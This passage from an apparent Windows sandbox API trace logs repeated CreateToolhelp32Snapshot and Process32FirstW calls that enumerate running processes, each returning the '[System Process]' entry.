pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0175.867] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0175.869] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0176.058] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0176.060] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0176.541] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0176.567] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0176.727] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0176.730] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0176.895] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0176.901] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0177.061] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0177.064] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0177.265] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0177.268] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0177.414] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0177.423] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0177.599] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0177.601] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0177.803] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0177.813] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0178.240] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0178.252] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0178.451] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0178.485] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0178.680] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0178.683] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0178.881] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0178.906] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0179.058] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0179.069] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0179.259] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0179.270] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0179.431] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0179.447] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0179.661] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0179.666] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0179.989] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0179.991] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0180.201] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0180.203] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0180.409] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0180.412] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0180.597] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0180.599] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0180.737] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0180.739] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0181.002] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0181.005] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0181.211] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0181.222] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0181.429] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0181.432] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0181.642] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0181.645] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0181.783] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0181.785] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0182.048] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0182.051] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0182.219] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0182.222] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0182.422] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x280 [0182.428] Process32FirstW (in: hSnapshot=0x280, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0182.621] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0182.624] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0182.820] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0182.822] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0183.025] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0183.027] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0183.223] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0183.241] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0183.421] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0183.437] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0183.623] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0183.626] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0183.846] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0183.849] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0184.076] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0184.081] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0184.287] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0184.289] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0184.479] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0184.489] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0184.669] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0184.683] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0184.855] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0184.858] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0185.074] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0185.077] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0185.229] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0185.232] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0185.380] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x280 [0185.405] Process32FirstW (in: hSnapshot=0x280, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0185.593] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0185.601] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0185.778] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0185.780] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0186.103] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0186.105] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0186.371] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0186.387] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0186.574] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0186.589] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0186.787] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0186.809] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0186.995] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0187.010] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0187.172] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x260 [0187.192] Process32FirstW (in: hSnapshot=0x260, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0187.404] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0187.424] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0187.598] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0187.601] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0187.770] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x260 [0187.806] Process32FirstW (in: hSnapshot=0x260, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0188.035] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0188.038] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0188.347] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x260 [0188.354] Process32FirstW (in: hSnapshot=0x260, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0188.859] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x260 [0188.861] Process32FirstW (in: hSnapshot=0x260, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0189.052] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0189.080] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0189.254] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0189.257] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0189.404] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0189.412] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0189.606] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0189.609] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0189.835] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0189.846] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0190.063] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0190.087] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0190.276] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0190.286] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, 